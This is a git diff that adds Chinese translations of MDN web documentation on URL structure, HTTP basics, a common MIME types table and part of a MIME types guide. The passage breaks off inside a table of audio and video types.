协议。另外,浏览器也知道如何处理其他协议。例如, <code>mailto:</code> 协议指示浏览器打开邮件客户端;<code>ftp:</code>协议指示浏览器处理文件传输。常见的方案有:</dd> +</dl> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">方案</th> + <th scope="col">描述</th> + </tr> + </thead> + <tbody> + <tr> + <td>data</td> + <td><a href="/zh-CN/docs/Web/HTTP/data_URIs">Data URIs</a></td> + </tr> + <tr> + <td>file</td> + <td>指定主机上文件的名称</td> + </tr> + <tr> + <td>ftp</td> + <td><a href="/en-US/docs/Glossary/FTP">文件传输协议</a></td> + </tr> + <tr> + <td>http/https</td> + <td><a href="/en-US/docs/Glossary/HTTP">超文本传输协议/安全的超文本传输协议</a></td> + </tr> + <tr> + <td>mailto</td> + <td>电子邮件地址</td> + </tr> + <tr> + <td>ssh</td> + <td>安全 shell</td> + </tr> + <tr> + <td>tel</td> + <td>电话</td> + </tr> + <tr> + <td>urn</td> + <td>统一资源名称</td> + </tr> + <tr> + <td>view-source</td> + <td>资源的源代码</td> + </tr> + <tr> + <td>ws/wss</td> + <td>(加密的) <a href="/zh-CN/docs/WebSockets">WebSocket</a> 连接</td> + </tr> + </tbody> +</table> + +<h3 id="主机">主机</h3> + +<dl> + <dt><img alt="Domaine Name" src="https://mdn.mozillademos.org/files/8015/mdn-url-domain@x2.png" style="height: 70px; width: 440px;"></dt> + <dd><code>www.example.com</code> 既是一个域名,也代表管理该域名的机构。它指示了需要向网络上的哪一台主机发起请求。当然,也可以直接向主机的 {{Glossary("IP address")}} 地址发起请求。但直接使用 IP 地址的场景并不常见。</dd> +</dl> + +<h3 id="端口">端口</h3> + +<dl> + <dt><img alt="Port" src="https://mdn.mozillademos.org/files/8017/mdn-url-port@x2.png" style="height: 70px; width: 440px;"></dt> + <dd><code>:80</code> 是端口。它表示用于访问 Web 服务器上资源的技术“门”。如果访问的该 Web 服务器使用HTTP协议的标准端口(HTTP为80,HTTPS为443)授予对其资源的访问权限,则通常省略此部分。否则端口就是 URI 必须的部分。</dd> +</dl> + +<h3 id="路径">路径</h3> + +<dl> + <dt><img alt="Path to the file" src="https://mdn.mozillademos.org/files/8019/mdn-url-path@x2.png" style="height: 70px; width: 440px;"></dt> + <dd><code>/path/to/myfile.html</code> 是 Web 服务器上资源的路径。在 Web 的早期,类似这样的路径表示 Web 服务器上的物理文件位置。现在,它主要是由没有任何物理实体的 Web 服务器抽象处理而成的。</dd> +</dl> + +<h3 id="查询">查询</h3> + +<dl> + <dt><img alt="Parameters" src="https://mdn.mozillademos.org/files/8021/mdn-url-parameters@x2.png" style="height: 70px; width: 440px;"></dt> + <dd><code>?key1=value1&key2=value2</code> 是提供给 Web 服务器的额外参数。这些参数是用 & 符号分隔的键/值对列表。Web 服务器可以在将资源返回给用户之前使用这些参数来执行额外的操作。每个 Web 服务器都有自己的参数规则,想知道特定 Web 服务器如何处理参数的唯一可靠方法是询问该 Web 服务器所有者。</dd> +</dl> + +<h3 id="片段">片段</h3> + +<dl> + <dt><img alt="Anchor" src="https://mdn.mozillademos.org/files/8023/mdn-url-anchor@x2.png" style="height: 70px; width: 440px;"></dt> + <dd><code>#SomewhereInTheDocument</code> 是资源本身的某一部分的一个锚点。锚点代表资源内的一种“书签”,它给予浏览器显示位于该“加书签”点的内容的指示。 例如,在HTML文档上,浏览器将滚动到定义锚点的那个点上;在视频或音频文档上,浏览器将转到锚点代表的那个时间。值得注意的是 # 号后面的部分,也称为片段标识符,永远不会与请求一起发送到服务器。</dd> +</dl> + +<h2 id="示例">示例</h2> + +<pre>https://developer.mozilla.org/en-US/docs/Learn +tel:+1-816-555-1212 +git@github.com:mdn/browser-compat-data.git +ftp://example.org/resource.txt +urn:isbn:9780141036144 +</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">规范</th> + <th scope="col">标题</th> + </tr> + <tr> + <td>{{RFC("7230", "Uniform Resource Identifiers", "2.7")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td> + </tr> + </tbody> +</table> + +<h2 id="参见">参见</h2> + +<ul> + <li><a href="/zh-CN/docs/Learn/Common_questions/What_is_a_URL">What is a URL?</a></li> + <li><a href="http://www.iana.org/assignments/uri-schemes/uri-schemes.xhtml">IANA list of URI schemes</a></li> +</ul> diff --git a/files/zh-cn/web/http/basics_of_http/index.html b/files/zh-cn/web/http/basics_of_http/index.html new file mode 100644 index 0000000000..6411954170 --- /dev/null +++ b/files/zh-cn/web/http/basics_of_http/index.html @@ -0,0 +1,49 @@ +--- +title: HTTP 基础 +slug: Web/HTTP/Basics_of_HTTP +tags: + - HTTP + - 指南 + - 概览 +translation_of: Web/HTTP/Basics_of_HTTP +--- +<p>HTTP 是一个拓展性非常好的协议. 它依赖于以下的一些基本概念: 像资源或是 URI的概念 , 一个简单的消息结构, 一个客户端-服务器结构的通信流。 在这些基础概念之上, 近年来已经出现了许多拓展, 以增加新的 HTTP 方法或首部的方式为 HTTP 协议增加了新的功能和语义。</p> + +<h2 id="文章">文章</h2> + +<dl> + <dt><a href="/zh-CN/docs/Web/HTTP/Overview">HTTP 概览</a></dt> + <dd>描述了什么是 HTTP,它在 Web 架构中的角色, 以及它在协议栈中的位置。</dd> + <dt><a href="/zh-CN/docs/Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP">HTTP 演变</a></dt> + <dd>HTTP 是在 20 世纪 90 年代早期出现的,并且已经被扩充了多次。本文会回顾 HTTP 的发展史,描述 HTTP/0.9、HTTP/1.0、HTTP/1.1和最新的 HTTP/2, 以及这些年来出现的一些新特性。</dd> + <dt><u><a href="https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Basics_of_HTTP/Negotiating)an_HTTP_version">商定HTTP版本</a></u></dt> + <dd>解释了客户端和服务器之间是如何商定并最终升级其使用的 HTTP 版本的。</dd> + <dt> <a href="/zh-CN/docs/Web/HTTP/Resources_and_URIs">资源和 URI</a></dt> + <dd>简单介绍了资源,标示符和 Web 位置的概念。</dd> + <dt><a href="/zh-CN/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web">发现 Web 资源</a></dt> + <dd>描述了 Web 资源是怎样被引用和找到的。</dd> + <dt><a href="/zh-CN/docs/Web/HTTP/Basics_of_HTTP/Data_URIs">数据 URI</a></dt> + <dd>一种特殊的 URI, 它直接包含了资源的内容. 数据 URI 使用起来非常方便, 但也有一些弊端.</dd> + <dt><a href="https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Basics_of_HTTP/Resource_URLs">资源 URLs</a> </dt> + <dd>资源URLs(URLs是以为<code>resource:scheme</code>前缀的)是被Firefox和Firefox浏览器拓展插件用来内在地加载资源, 当然有些资源在浏览器连接的网站上存在的。</dd> + <dt>分离资源的标识和位置:the Alt-Svc HTTP header</dt> + <dd> + <p>大多数情况下 web 资源的标识和位置是共享的,可通过使用<code>{{HTTPHeader("Alt-Svc")}}</code> 头部来改变。</p> + </dd> + <dt><a href="/zh-CN/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME 类型</a></dt> + <dd>从 HTTP/1.0 开始,HTTP 协议允许传输不同类型的内容。本文解释了如何通过使用<code>{{HTTPHeader("Content-Type")}} </code>首部和 MIME 标准实现这一过程的。</dd> + <dt><a href="/zh-CN/docs/Web/HTTP/Basics_of_HTTP/Choosing_between_www_and_non-www_URLs">在 www 和非 www URI 间选择</a></dt> + <dd>在是否使用 www 前缀的域名这一问题上, 本文解释了不同选择的影响,并给出了具体的实施方法。</dd> + <dt><u><a href="https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Flow_of_an_HTTP_session">HTTP会话流程</a></u></dt> + <dd>本文描述了一个经典的 HTTP 会话: 当你在浏览器中点击一个链接时, 在后台发生了什么...</dd> + <dt><a href="/zh-CN/docs/Web/HTTP/Messages">HTTP 消息</a></dt> + <dd>在请求和响应中传输的HTTP消息具有非常清晰的结构; 本文介绍了消息的结构、设计目的以及其可能性。</dd> + <dt><u><a href="https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Frame%20and%20message%20structure%20in%20HTTP_2">HTTP/2 中的帧及消息结构</a></u></dt> + <dd>HTTP/2 用二进制帧来压缩和表示 HTTP/1.x 中的消息。本文解释了 HTTP/2 中的帧结构, 其设计目的以及编码方式。</dd> + <dt><a href="/zh-CN/docs/Web/HTTP/Connection_management_in_HTTP_1.x">HTTP/1.x 的连接管理</a></dt> + <dd>HTTP/1.1 是首个支持持久化连接和管道化的 HTTP 版本。 本文介绍了这两个概念。</dd> + <dt><u><a href="https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Connection_management_in_HTTP_2">HTTP/2的连接管理</a></u></dt> + <dd>HTTP/2 完全改变了连接创建和维护的方式:本文介绍了 HTTP 帧是怎样支持多路复用并解决之前的 HTTP 版本中存在的队头阻塞问题的。</dd> + <dt><a href="/zh-CN/docs/Web/HTTP/Content_negotiation">内容商定</a></dt> + <dd>HTTP 引入了一组以 <code>Accept-</code> 开头的首部,作为浏览器用来声明它们期望得到的格式, 语言或编码的方法。 本文讲述了这一过程是怎样实现的, 以及服务器是怎样处理并选择恰当的响应的。</dd> +</dl> diff --git a/files/zh-cn/web/http/basics_of_http/mime_types/common_types/index.html b/files/zh-cn/web/http/basics_of_http/mime_types/common_types/index.html new file mode 100644 index 0000000000..68821c7611 --- /dev/null +++ b/files/zh-cn/web/http/basics_of_http/mime_types/common_types/index.html @@ -0,0 +1,381 @@ +--- +title: 常见 MIME 类型列表 +slug: Web/HTTP/Basics_of_HTTP/MIME_types/Common_types +tags: + - File Types + - Files + - HTTP + - MIME + - MIME Types + - MIME 类型 + - MIME类型 + - 参考 + - 文件 + - 文件类型 +translation_of: Web/HTTP/Basics_of_HTTP/MIME_types/Common_types +--- +<div>{{HTTPSidebar}}</div> + +<div class="blockIndicator"> +<p>译者注:英文原文标题为 Incomplete list of MIME types,意为不完整的/未完成的 MIME 类型列表。</p> +</div> + +<p>这是一份 MIME 类型列表,以及各个类型的文档类别,按照它们的常见扩展名排序。</p> + +<p>两种主要的 MIME 类型在默认类型中扮演了重要的角色:</p> + +<ul> + <li><code>text/plain</code> 表示文本文件的默认值。一个文本文件应当是人类可读的,并且不包含二进制数据。</li> + <li><code>application/octet-stream</code> 表示所有其他情况的默认值。一种未知的文件类型应当使用此类型。浏览器在处理这些文件时会特别小心, 试图防止、避免用户的危险行为.</li> +</ul> + +<p>IANA 是 MIME 媒体类型的官方注册机构,并维护了 <a href="http://www.iana.org/assignments/media-types/media-types.xhtml">list of all the official MIME types</a>。下面的表格列出了 Web 上的一些重要 MIME 类型:</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">扩展名</th> + <th scope="col">文档类型</th> + <th scope="col">MIME 类型</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>.aac</code></td> + <td>AAC audio</td> + <td><code>audio/aac</code></td> + </tr> + <tr> + <td><code>.abw</code></td> + <td><a href="https://en.wikipedia.org/wiki/AbiWord">AbiWord</a> document</td> + <td><code>application/x-abiword</code></td> + </tr> + <tr> + <td><code>.arc</code></td> + <td>Archive document (multiple files embedded)</td> + <td><code>application/x-freearc</code></td> + </tr> + <tr> + <td><code>.avi</code></td> + <td>AVI: Audio Video Interleave</td> + <td><code>video/x-msvideo</code></td> + </tr> + <tr> + <td><code>.azw</code></td> + <td>Amazon Kindle eBook format</td> + <td><code>application/vnd.amazon.ebook</code></td> + </tr> + <tr> + <td><code>.bin</code></td> + <td>Any kind of binary data</td> + <td><code>application/octet-stream</code></td> + </tr> + <tr> + <td><code>.bmp</code></td> + <td>Windows OS/2 Bitmap Graphics</td> + <td><code>image/bmp</code></td> + </tr> + <tr> + <td><code>.bz</code></td> + <td>BZip archive</td> + <td><code>application/x-bzip</code></td> + </tr> + <tr> + <td><code>.bz2</code></td> + <td>BZip2 archive</td> + <td><code>application/x-bzip2</code></td> + </tr> + <tr> + <td><code>.csh</code></td> + <td>C-Shell script</td> + <td><code>application/x-csh</code></td> + </tr> + <tr> + <td><code>.css</code></td> + <td>Cascading Style Sheets (CSS)</td> + <td><code>text/css</code></td> + </tr> + <tr> + <td><code>.csv</code></td> + <td>Comma-separated values (CSV)</td> + <td><code>text/csv</code></td> + </tr> + <tr> + <td><code>.doc</code></td> + <td>Microsoft Word</td> + <td><code>application/msword</code></td> + </tr> + <tr> + <td><code>.docx</code></td> + <td>Microsoft Word (OpenXML)</td> + <td><code>application/vnd.openxmlformats-officedocument.wordprocessingml.document</code></td> + </tr> + <tr> + <td><code>.eot</code></td> + <td>MS Embedded OpenType fonts</td> + <td><code>application/vnd.ms-fontobject</code></td> + </tr> + <tr> + <td><code>.epub</code></td> + <td>Electronic publication (EPUB)</td> + <td><code>application/epub+zip</code></td> + </tr> + <tr> + <td><code>.gif</code></td> + <td>Graphics Interchange Format (GIF)</td> + <td><code>image/gif</code></td> + </tr> + <tr> + <td><code>.htm<br> + .html</code></td> + <td>HyperText Markup Language (HTML)</td> + <td><code>text/html</code></td> + </tr> + <tr> + <td><code>.ico</code></td> + <td>Icon format</td> + <td><code>image/vnd.microsoft.icon</code></td> + </tr> + <tr> + <td><code>.ics</code></td> + <td>iCalendar format</td> + <td><code>text/calendar</code></td> + </tr> + <tr> + <td><code>.jar</code></td> + <td>Java Archive (JAR)</td> + <td><code>application/java-archive</code></td> + </tr> + <tr> + <td><code>.jpeg</code><br> + <code>.jpg</code></td> + <td>JPEG images</td> + <td><code>image/jpeg</code></td> + </tr> + <tr> + <td><code>.js</code></td> + <td>JavaScript</td> + <td><code>text/javascript</code></td> + </tr> + <tr> + <td><code>.json</code></td> + <td>JSON format</td> + <td><code>application/json</code></td> + </tr> + <tr> + <td><code>.jsonld</code></td> + <td>JSON-LD format</td> + <td><code>application/ld+json</code></td> + </tr> + <tr> + <td><code>.mid</code><br> + <code>.midi</code></td> + <td>Musical Instrument Digital Interface (MIDI)</td> + <td><code>audio/midi</code> <code>audio/x-midi</code></td> + </tr> + <tr> + <td><code>.mjs</code></td> + <td>JavaScript module</td> + <td><code>text/javascript</code></td> + </tr> + <tr> + <td><code>.mp3</code></td> + <td>MP3 audio</td> + <td><code>audio/mpeg</code></td> + </tr> + <tr> + <td><code>.mpeg</code></td> + <td>MPEG Video</td> + <td><code>video/mpeg</code></td> + </tr> + <tr> + <td><code>.mpkg</code></td> + <td>Apple Installer Package</td> + <td><code>application/vnd.apple.installer+xml</code></td> + </tr> + <tr> + <td><code>.odp</code></td> + <td>OpenDocument presentation document</td> + <td><code>application/vnd.oasis.opendocument.presentation</code></td> + </tr> + <tr> + <td><code>.ods</code></td> + <td>OpenDocument spreadsheet document</td> + <td><code>application/vnd.oasis.opendocument.spreadsheet</code></td> + </tr> + <tr> + <td><code>.odt</code></td> + <td>OpenDocument text document</td> + <td><code>application/vnd.oasis.opendocument.text</code></td> + </tr> + <tr> + <td><code>.oga</code></td> + <td>OGG audio</td> + <td><code>audio/ogg</code></td> + </tr> + <tr> + <td><code>.ogv</code></td> + <td>OGG video</td> + <td><code>video/ogg</code></td> + </tr> + <tr> + <td><code>.ogx</code></td> + <td>OGG</td> + <td><code>application/ogg</code></td> + </tr> + <tr> + <td><code>.otf</code></td> + <td>OpenType font</td> + <td><code>font/otf</code></td> + </tr> + <tr> + <td><code>.png</code></td> + <td>Portable Network Graphics</td> + <td><code>image/png</code></td> + </tr> + <tr> + <td><code>.pdf</code></td> + <td>Adobe <a href="https://acrobat.adobe.com/us/en/why-adobe/about-adobe-pdf.html">Portable Document Format</a> (PDF)</td> + <td><code>application/pdf</code></td> + </tr> + <tr> + <td><code>.ppt</code></td> + <td>Microsoft PowerPoint</td> + <td><code>application/vnd.ms-powerpoint</code></td> + </tr> + <tr> + <td><code>.pptx</code></td> + <td>Microsoft PowerPoint (OpenXML)</td> + <td><code>application/vnd.openxmlformats-officedocument.presentationml.presentation</code></td> + </tr> + <tr> + <td><code>.rar</code></td> + <td>RAR archive</td> + <td><code>application/x-rar-compressed</code></td> + </tr> + <tr> + <td><code>.rtf</code></td> + <td>Rich Text Format (RTF)</td> + <td><code>application/rtf</code></td> + </tr> + <tr> + <td><code>.sh</code></td> + <td>Bourne shell script</td> + <td><code>application/x-sh</code></td> + </tr> + <tr> + <td><code>.svg</code></td> + <td>Scalable Vector Graphics (SVG)</td> + <td><code>image/svg+xml</code></td> + </tr> + <tr> + <td><code>.swf</code></td> + <td><a href="https://en.wikipedia.org/wiki/SWF">Small web format</a> (SWF) or Adobe Flash document</td> + <td><code>application/x-shockwave-flash</code></td> + </tr> + <tr> + <td><code>.tar</code></td> + <td>Tape Archive (TAR)</td> + <td><code>application/x-tar</code></td> + </tr> + <tr> + <td><code>.tif<br> + .tiff</code></td> + <td>Tagged Image File Format (TIFF)</td> + <td><code>image/tiff</code></td> + </tr> + <tr> + <td><code>.ttf</code></td> + <td>TrueType Font</td> + <td><code>font/ttf</code></td> + </tr> + <tr> + <td><code>.txt</code></td> + <td>Text, (generally ASCII or ISO 8859-<em>n</em>)</td> + <td><code>text/plain</code></td> + </tr> + <tr> + <td><code>.vsd</code></td> + <td>Microsoft Visio</td> + <td><code>application/vnd.visio</code></td> + </tr> + <tr> + <td><code>.wav</code></td> + <td>Waveform Audio Format</td> + <td><code>audio/wav</code></td> + </tr> + <tr> + <td><code>.weba</code></td> + <td>WEBM audio</td> + <td><code>audio/webm</code></td> + </tr> + <tr> + <td><code>.webm</code></td> + <td>WEBM video</td> + <td><code>video/webm</code></td> + </tr> + <tr> + <td><code>.webp</code></td> + <td>WEBP image</td> + <td><code>image/webp</code></td> + </tr> + <tr> + <td><code>.woff</code></td> + <td>Web Open Font Format (WOFF)</td> + <td><code>font/woff</code></td> + </tr> + <tr> + <td><code>.woff2</code></td> + <td>Web Open Font Format (WOFF)</td> + <td><code>font/woff2</code></td> + </tr> + <tr> + <td><code>.xhtml</code></td> + <td>XHTML</td> + <td><code>application/xhtml+xml</code></td> + </tr> + <tr> + <td><code>.xls</code></td> + <td>Microsoft Excel</td> + <td><code>application/vnd.ms-excel</code></td> + </tr> + <tr> + <td><code>.xlsx</code></td> + <td>Microsoft Excel (OpenXML)</td> + <td><code>application/vnd.openxmlformats-officedocument.spreadsheetml.sheet</code></td> + </tr> + <tr> + <td><code>.xml</code></td> + <td><code>XML</code></td> + <td><code>application/xml</code> 代码对普通用户来说不可读 (<a href="https://tools.ietf.org/html/rfc3023#section-3">RFC 3023</a>, section 3)<br> + <code>text/xml</code> 代码对普通用户来说可读 (<a href="https://tools.ietf.org/html/rfc3023#section-3">RFC 3023</a>, section 3)</td> + </tr> + <tr> + <td><code>.xul</code></td> + <td>XUL</td> + <td><code>application/vnd.mozilla.xul+xml</code></td> + </tr> + <tr> + <td><code>.zip</code></td> + <td>ZIP archive</td> + <td><code>application/zip</code></td> + </tr> + <tr> + <td><code>.3gp</code></td> + <td><a href="https://en.wikipedia.org/wiki/3GP_and_3G2">3GPP</a> audio/video container</td> + <td><code>video/3gpp</code><br> + <code>audio/3gpp</code>(若不含视频)</td> + </tr> + <tr> + <td><code>.3g2</code></td> + <td><a href="https://en.wikipedia.org/wiki/3GP_and_3G2">3GPP2</a> audio/video container</td> + <td><code>video/3gpp2</code><br> + <code>audio/3gpp2</code>(若不含视频)</td> + </tr> + <tr> + <td><code>.7z</code></td> + <td><a href="https://en.wikipedia.org/wiki/7-Zip">7-zip</a> archive</td> + <td><code>application/x-7z-compressed</code></td> + </tr> + </tbody> +</table> diff --git a/files/zh-cn/web/http/basics_of_http/mime_types/index.html b/files/zh-cn/web/http/basics_of_http/mime_types/index.html new file mode 100644 index 0000000000..880f31d916 --- /dev/null +++ b/files/zh-cn/web/http/basics_of_http/mime_types/index.html @@ -0,0 +1,373 @@ +--- +title: MIME 类型 +slug: Web/HTTP/Basics_of_HTTP/MIME_types +tags: + - Content-Type + - HTTP + - MIME Types + - MIME类型 + - Meta +translation_of: Web/HTTP/Basics_of_HTTP/MIME_types +--- +<div>{{HTTPSidebar}}</div> + +<p><strong>媒体类型</strong>(通常称为 <strong>Multipurpose Internet Mail Extensions </strong>或<strong> MIME </strong>类型<strong> </strong>)是一种标准,用来表示文档、文件或字节流的性质和格式。它在<a href="https://tools.ietf.org/html/rfc6838">IETF RFC 6838</a>中进行了定义和标准化。</p> + +<p>互联网号码分配机构(<a href="https://www.iana.org/">IANA</a>)是负责跟踪所有官方MIME类型的官方机构,您可以在<a href="https://www.iana.org/assignments/media-types/media-types.xhtml">媒体类型</a>页面中找到最新的完整列表。</p> + +<div class="blockIndicator warning"> +<p><strong>重要:</strong>浏览器通常使用MIME类型(而不是文件扩展名)来确定如何处理URL,因此Web服务器在响应头中添加正确的MIME类型非常重要。如果配置不正确,浏览器可能会曲解文件内容,网站将无法正常工作,并且下载的文件也会被错误处理。</p> +</div> + +<h2 id="语法">语法</h2> + +<h3 id="通用结构">通用结构</h3> + +<pre class="syntaxbox notranslate">type/subtype</pre> + +<p>MIME的组成结构非常简单;由类型与子类型两个字符串中间用<code>'/'</code>分隔而组成。不允许空格存在。<em>type </em>表示可以被分多个子类的独立类别。<em>subtype 表示细分后的每个类型。</em></p> + +<p>MIME类型对大小写不敏感,但是传统写法都是小写。</p> + +<h3 id="独立类型">独立类型</h3> + +<pre class="syntaxbox notranslate">text/plain +text/html +image/jpeg +image/png +audio/mpeg +audio/ogg +audio/* +video/mp4 +application/* +application/json +application/javascript +application/ecmascript +application/octet-stream +…</pre> + +<p><em>独立</em>类型表明了对文件的分类,可以是如下之一:</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">类型</th> + <th scope="col">描述</th> + <th scope="col">典型示例</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>text</code></td> + <td>表明文件是普通文本,理论上是人类可读</td> + <td><code>text/plain</code>, <code>text/html</code>, <code>text/css, text/javascript</code></td> + </tr> + <tr> + <td><code>image</code></td> + <td>表明是某种图像。不包括视频,但是动态图(比如动态gif)也使用image类型</td> + <td><code>image/gif</code>, <code>image/png</code>, <code>image/jpeg</code>, <code>image/bmp</code>, <code>image/webp</code>, <code>image/x-icon</code>, <code>image/vnd.microsoft.icon</code></td> + </tr> + <tr> + <td><code>audio</code></td> + <td>表明是某种音频文件</td> + <td><code>audio/midi</code>, <code>audio/mpeg, audio/webm, audio/ogg, audio/wav</code></td> + </tr> + <tr> + <td><code>video</code></td> + <td>表明是某种视频文件</td> + <td><code>video/webm</code>, <code>video/ogg</code></td> + </tr> + <tr> + <td><code>application</code></td> + <td>表明是某种二进制数据</td> + <td> + <p><code>application/octet-stream</code>, <code>application/pkcs12</code>, <code>application/vnd.mspowerpoint</code>, <code>application/xhtml+xml</code>, <code>application/xml</code>, <code>application/pdf</code></p> + </td> + </tr> + </tbody> +</table> + +<p>对于text文件类型若没有特定的subtype,就使用 <code>text/plain</code>。类似的,二进制文件没有特定或已知的 subtype,即使用 <code>application/octet-stream</code>。</p> + +<h3 id="Multipart_类型">Multipart 类型</h3> + +<pre class="syntaxbox notranslate">multipart/form-data +multipart/byteranges</pre> + +<p><em>Multipart</em> 类型表示细分领域的文件类型的种类,经常对应不同的 MIME 类型。这是<em>复合</em>文件的一种表现方式。<code>multipart/form-data</code> 可用于联系 <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML Forms</a> 和 {{HTTPMethod("POST")}} 方法,此外 <code>multipart/byteranges</code>使用状态码{{HTTPStatus("206")}} <code>Partial Content</code>来发送整个文件的子集,而HTTP对不能处理的复合文件使用特殊的方式:将信息直接传送给浏览器(这时可能会建立一个“另存为”窗口,但是却不知道如何去显示内联文件。)</p> + +<h2 id="重要的MIME类型">重要的MIME类型</h2> + +<h3 id="applicationoctet-stream">application/octet-stream</h3> + +<p>这是应用程序文件的默认值。意思是 <em>未知的应用程序文件 ,</em>浏览器一般不会自动执行或询问执行。浏览器会像对待 设置了HTTP头{{HTTPHeader("Content-Disposition")}} 值为 <code>attachment</code> 的文件一样来对待这类文件。</p> + +<h3 id="textplain">text/plain</h3> + +<p>文本文件默认值。即使它<em>意味着未知的文本文件</em>,但浏览器认为是可以直接展示的。</p> + +<div class="note"> +<p><code>text/plain</code>并不是意味着某种文本数据。如果浏览器想要一个文本文件的明确类型,浏览器并不会考虑他们是否匹配。比如说,如果通过一个表明是下载CSS文件的{{HTMLElement("link")}}链接下载了一个 <code>text/plain</code> 文件。如果提供的信息是text/plain,浏览器并不会认出这是有效的CSS文件。CSS类型需要使用text/css。</p> +</div> + +<h3 id="textcss">text/css</h3> + +<p>在网页中要被解析为CSS的任何CSS文件必须指定MIME为<code>text/css</code>。通常,服务器不识别以.css为后缀的文件的MIME类型,而是将其以MIME为<code>text/plain</code> 或 <code>application/octet-stream</code> 来发送给浏览器:在这种情况下,大多数浏览器不识别其为CSS文件,直接忽略掉。特别要注意为CSS文件提供正确的MIME类型。</p> + +<h3 id="texthtml">text/html</h3> + +<p>所有的HTML内容都应该使用这种类型。XHTML的其他MIME类型(如<code>application/xml+html</code>)现在基本不再使用(HTML5统一了这些格式)。</p> + +<div class="note"> +<p><strong>Note:</strong> You still need to use <code>application/xml</code> or <code>application/xhtml+xml</code> if you intend to make use of XML’s strict parsing rules, use <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/CDATASection"><![CDATA[…]]></a></code> or elements from non‑HTML, non‑SVG or non‑MathML XML namespaces, as <code>text/html</code>’s parsing semantics are subtly incompatible with those of <code>application/xml</code>.</p> +</div> + +<h3 id="textjavascript">text/javascript</h3> + +<p>据 HTML 标准,应该总是使用 MIME 类型 <code>text/javascript</code> 服务 JavaScript 文件。其他值不被认为有效,使用那些值可能会导致脚本不被载入或运行。</p> + +<p>历史原因,<a href="https://mimesniff.spec.whatwg.org/">MIME 嗅探标准</a>(定义浏览器应该如何解释媒体类型和如何处理无有效媒体类型的内容)允许使用匹配以下任意的 MIME 类型服务 JavaScript:</p> + +<ul> + <li><code>application/javascript</code></li> + <li><code>application/ecmascript</code></li> + <li><code>application/x-ecmascript</code> {{Non-standard_Inline}}</li> + <li><code>application/x-javascript</code> {{Non-standard_Inline}}</li> + <li><code>text/javascript</code></li> + <li><code>text/ecmascript</code></li> + <li><code>text/javascript1.0</code> {{Non-standard_Inline}}</li> + <li><code>text/javascript1.1</code> {{Non-standard_Inline}}</li> + <li><code>text/javascript1.2</code> {{Non-standard_Inline}}</li> + <li><code>text/javascript1.3</code> {{Non-standard_Inline}}</li> + <li><code>text/javascript1.4</code> {{Non-standard_Inline}}</li> + <li><code>text/javascript1.5</code> {{Non-standard_Inline}}</li> + <li><code>text/jscript</code> {{Non-standard_Inline}}</li> + <li><code>text/livescript</code> {{Non-standard_Inline}}</li> + <li><code>text/x-ecmascript</code> {{Non-standard_Inline}}</li> + <li><code>text/x-javascript</code> {{Non-standard_Inline}}</li> +</ul> + +<div class="blockIndicator note"> +<p><strong>注意:</strong>即便任何给定的 {{Glossary("user agent")}} 可能支持这些中的任意或所有,你只应该使用 <code>text/javascript</code>。它是唯一确保能在目前和以后正常工作的 MIME 类型。</p> +</div> + +<p>你可能发现某些内容在 <code>text/javascript</code> 媒体类型末尾有一个 <code>charset</code> 参数,指定用于表示代码内容的字符集。这不是合法的,而且在大多数场景下会导致脚本不被载入。</p> + +<h3 id="图片类型">图片类型</h3> + +<p>只有一小部分图片类型是被广泛支持的,Web安全的,可随时在Web页面中使用的:</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">MIME 类型</th> + <th scope="col">图片类型</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>image/gif</code></td> + <td>GIF 图片 (无损耗压缩方面被PNG所替代)</td> + </tr> + <tr> + <td><code>image/jpeg</code></td> + <td>JPEG 图片</td> + </tr> + <tr> + <td><code>image/png</code></td> + <td>PNG 图片</td> + </tr> + <tr> + <td><code>image/svg+xml</code></td> + <td>SVG图片 (矢量图)</td> + </tr> + </tbody> +</table> + +<p>此处的类型划分有一定的争议,有人认为此处应该增加 WebP(<code>image/webp</code>),但是每个新增的图片类型都会增加代码的数量,这会带来一些新的安全问题,所以浏览器供应商对于添加类型非常小心。</p> + +<p>另外的一些图片种类可以在Web文档中找到。比如很多浏览器支持 <em>icon 类型的图标作为</em> favicons或者类似的图标,并且浏览器在MIME类型中的 <code>image/x-icon</code> 支持ICO图像。</p> + +<dl> + <dt id="Image_types-Footnote_1">Footnote 1</dt> + <dd>尽管 <code>image/vnd.microsoft.icon</code> <a href="https://www.iana.org/assignments/media-types/image/vnd.microsoft.icon">在ANA注册</a>, 它仍然不被广泛支持,<code>image/x-icon</code> 被作为替代品使用。</dd> +</dl> + +<h3 id="音频与视频类型">音频与视频类型</h3> + +<p>HTML并没有明确定义被用于{{HTMLElement("audio")}}和{{HTMLElement("video")}}元素所支持的文件类型,所以在web上使用的只有相对较小的一组类型。<a href="/en-US/docs/Web/HTML/Supported_media_formats"> </a>文章 <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Supported_media_formats">Media formats supported by the HTML audio and video elements</a> 解释了可以被使用的解码器或视频文件格式。</p> + +<p>在web环境最常用的视频文件的格式,是以下这些这些文件类型:</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">MIME 类型</th> + <th scope="col">音频或视频类型</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>audio/wave</code><br> + <code>audio/wav</code><br> + <code>audio/x-wav</code><br> + <code>audio/x-pn-wav</code></td> + <td>音频流媒体文件。一般支持PCM音频编码 (WAVE codec "1") ,其他解码器有限支持(如果有的话)。</td> + </tr> + <tr> + <td><code>audio/webm</code></td> + <td> WebM 音频文件格式。Vorbis 和 Opus 是其最常用的解码器。 </td> + </tr> + <tr> + <td><code>video/webm</code></td> + 